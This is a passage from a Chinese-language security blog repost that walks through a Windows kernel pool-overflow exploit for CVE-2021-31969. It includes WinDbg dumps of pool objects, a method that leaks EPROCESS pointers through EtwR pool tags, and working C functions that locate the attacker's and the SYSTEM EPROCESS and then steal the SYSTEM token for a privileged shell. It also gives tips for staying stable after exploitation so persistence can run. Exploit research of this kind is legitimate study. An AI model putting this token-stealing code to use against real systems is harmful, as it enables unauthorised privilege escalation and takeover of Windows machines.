*ffffd685bcbeb750 size: e0 previous size: 0 (Allocated) *IoCo
Pooltag IoCo : Io completion, Binary : nt!io
...

这是个好兆头,因为如果 EtwR 对象可以泄露有趣的指针,这将是一种一致的技术,无需喷雾。

我继续在 EtwR 对象上转储指针。

7: kd> .foreach (addr {dps ffffd685`bcbeb140 La0}) {!object addr}
ffffd685bcbeb140: Not a valid object (ObjectType invalid)

ffffd685bcbeb148: Not a valid object (ObjectType invalid)
48: not a valid object (ObjectHeader invalid @ -offset 30)
ffffd685bcbeb150: Not a valid object (ObjectType invalid)
fffff8012726ad00: Not a valid object (ObjectType invalid)
fffff8012726ad00: Not a valid object (ObjectType invalid)
ffffd685bcbeb158: Not a valid object (ObjectType invalid)
0: not a valid object (ObjectHeader invalid @ -offset 30)
ffffd685bcbeb160: Not a valid object (ObjectType invalid)
Object: ffffd685bcd59140 Type: (ffffd685b7ebd380) Process
ObjectHeader: ffffd685bcd59110 (new version)
HandleCount: 6 PointerCount: 196453
ffffd685bcbeb168: Not a valid object (ObjectType invalid)
1: not a valid object (ObjectHeader invalid @ -offset 30)

7: kd> dq ffffd685bcbeb140
ffffd685`bcbeb140 000000d8`00000000 00000000`00000048
ffffd685`bcbeb150 fffff801`2726ad00 00000000`00000000
ffffd685`bcbeb160 ffffd685`bcd59140 00000000`00000001 <- EPROCESS
ffffd685`bcbeb170 00000000`00008000 00000000`00000001

结果发现每个 EtwR 对象 + 0x20(包括块头为 0x30) 包含一个 EPROCESS 指针,为我们提供了所需的信息泄露。

总结如下:

  • SessionObject 指针开始向前和向后搜索池内存,直到找到 AlIn 字节模式
  • 向后移动 4 字节以找到 AlIn 分配的起始位置
  • 此地址 +0x38 包含 IoCompletion 对象指针
  • 再次搜索池内存以找到 EtwR 字节模式以定位 EtwR 对象分配
  • 此地址 +0x30 包含 EPROCESS 指针

通过这种方式,你可以利用已知的 _TOKEN 对象来泄露 EPROCESS 地址,进而可能实现权限提升。当然,这需要对 Windows 内核结构和调试工具有深入的了解和操作能力。

BOOL LocateEPROCESSAddresses(int WnfIndex, HANDLE RwToken, ULONG_PTR TokenSessionObject, ULONG_PTR *OwnEproc, ULONG_PTR *SystemEproc)
{
    BOOL        status = FALSE;
    PBYTE       twoPageBuffer = NULL;
    DWORD       bufferSize = PAGE_SIZE * 2;
    BYTE        pageBuffer[PAGE_SIZE] = { 0 };
    DWORD       *cur = NULL;
    ULONG_PTR   allocationBase = NULL;
    ULONG_PTR   addrBuffer = NULL;
    ULONG64     dataBuffer = 0;
    PEPROCESS   eproc = NULL;

    twoPageBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferSize);
    if (!twoPageBuffer) {
        printf("[-] HeapAlloc fail: 0x%08Xn", GetLastError());
        goto out;
    }

    status = ArbitraryRead(WnfIndex, RwToken, TokenSessionObject, twoPageBuffer, bufferSize);
    if (!status)
        goto out;

    cur = twoPageBuffer;
    for (int i = 0; i < bufferSize / sizeof(DWORD); i++) {
        if (cur[i] != 'nIlA')
            continue;

        // found tag, move back 0x4 bytes
        allocationBase = TokenSessionObject + ((ULONG64)&(cur[i-1]) - (ULONG64)twoPageBuffer);
        printf("[+] Found AlIn allocation at 0x%llxn", allocationBase);

        status = ArbitraryRead(WnfIndex, RwToken, allocationBase + 0x38, &addrBuffer, 0x8);
        if (!status || !addrBuffer)
            goto out;

        // found IoCompletion
        printf("[+] Found IoCompletion object at 0x%llxn", addrBuffer);
        allocationBase = addrBuffer;

        status = ArbitraryRead(WnfIndex, RwToken, allocationBase, &pageBuffer, PAGE_SIZE);
        if (!status)
            goto out;

        // find EtwR tag
        cur = pageBuffer;
        for (int i = 0; i < PAGE_SIZE / sizeof(DWORD); i++) {
            if (cur[i] != 'RwtE')
                continue;

            // found tag, move back 0x4 bytes
            allocationBase += ((ULONG64)&(cur[i-1]) - (ULONG64)pageBuffer);

            // extract EPROCESS
            status = ArbitraryRead(WnfIndex, RwToken, allocationBase + 0x30, &addrBuffer, 0x8);
            if (!status || !addrBuffer)
                goto out;

            if (addrBuffer < 0xffff000000000000) {
                puts("[-] Can't find EPROCESS");
                goto out;
            }

            // found EPROCESS
            printf("[+] Found EPROCESS object at 0x%llxn", addrBuffer);
            eproc = (PEPROCESS)addrBuffer;

            do {
                status = ArbitraryRead(WnfIndex, RwToken, &eproc->UniqueProcessId, &dataBuffer, 0x8);
                if (!status)
                    goto out;

                if (dataBuffer == GetCurrentProcessId()) {
                    *OwnEproc = eproc;
                    printf("[+] Found own EPROCESS address: 0x%llxn", eproc);
                }

                else if (dataBuffer == 0x4) {
                    *SystemEproc = eproc;
                    printf("[+] Found system EPROCESS address: 0x%llxn", eproc);
                }

                if (*OwnEproc && *SystemEproc) {
                    status = TRUE;
                    goto out;
                }

                status = ArbitraryRead(WnfIndex, RwToken, &eproc->ActiveProcessLinks, &dataBuffer, 0x8);
                if (!status)
                    goto out;

                eproc = CONTAINING_RECORD(dataBuffer, EPROCESS, ActiveProcessLinks);
            } while (eproc != addrBuffer);
        }
    }

out:
    if (twoPageBuffer)
        HeapFree(GetProcessHeap(), 0, twoPageBuffer);

    return status;
}

获取 Shell

之后的工作就是覆写 PreviousMode,窃取令牌,恢复 PreviousMode 并生成 shell。

BOOL StealToken(PEPROCESS OwnEproc, PEPROCESS SystemEproc)
{
    ULONG64 token = NULL;

    if (!NtArbitraryRead(&SystemEproc->Token, &token, 0x8))
        return FALSE;

    if (!NtArbitraryWrite(&OwnEproc->Token, &token, 0x8))
        return FALSE;

    return TRUE;
}
Chunk大小限制下的池溢出漏洞利用

漏洞利用成功率

通过实证证据我得出结论,该漏洞平均大约在15次尝试中成功1次。许多失败的尝试实际上成功地覆写了 WNF 对象,但它们也覆写了相邻的 TOKEN 对象,使得 WNF 对象无法使用。提高这个版本 Windows 上成功率的一种方法是用更大的值覆写 WNF 大小,例如 0x3000。这样我们可以查询更多可能未被触碰的 TOKEN 对象。然而,我认为在更高版本的 Windows 上,WNF 最大只允许写入 0x1000。

漏洞利用后

一旦退出,漏洞利用将导致系统崩溃,因此我们必须保持进程运行。

这是因为系统将尝试跟随 _TERMINATION_PORT 对象的链表来释放每一个对象,但我们在某个时候已经破坏了链表。解决这个问题的一种方法是通过读取 _ETHREAD->TerminationPort 来终止列表,但这导致我们的喷雾对象永远不会被释放,从而造成内存泄漏。然而,我们也在途中破坏了 VS 子段头,WNF 和 TOKEN 对象,这可能会导致崩溃。

通过实证,只要我们保持进程运行,系统将足够稳定,以执行基本的持久性活动。

变体

CVE-2023-36036 这个在11月修补的漏洞源自同一个函数 HsmpRpiDecompressBuffer,并报告称在野外被积极利用。与限制 cstmDataSize 可以取的最小值的 CVE-2021-31969 补丁不同,这个补丁将 cstmDataSize 的最大值限制为 0x4000,这是 HsmpRpReadBuffer 将读取的最大字节数。这表明可能存在由于先前未限制大小而导致的 OOB 操作。

参考资料

  • 突破沙箱限制 - Old Pipe (CVE-2022-22715) Windows Dirty Pipe
  • CVE-2021-31969 - Microsoft Security Update Guide
  • Cloud API - Windows APIs
  • Cloud Files API Portal - Windows Win32
  • CloudMirror Sample - Microsoft Windows classic samples

原文始发于微信公众号(3072):Chunk大小限制下的池溢出漏洞利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月20日13:43:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Chunk大小限制下的池溢出漏洞利用https://cn-sec.com/archives/2865221.html

发表评论

匿名网友 填写信息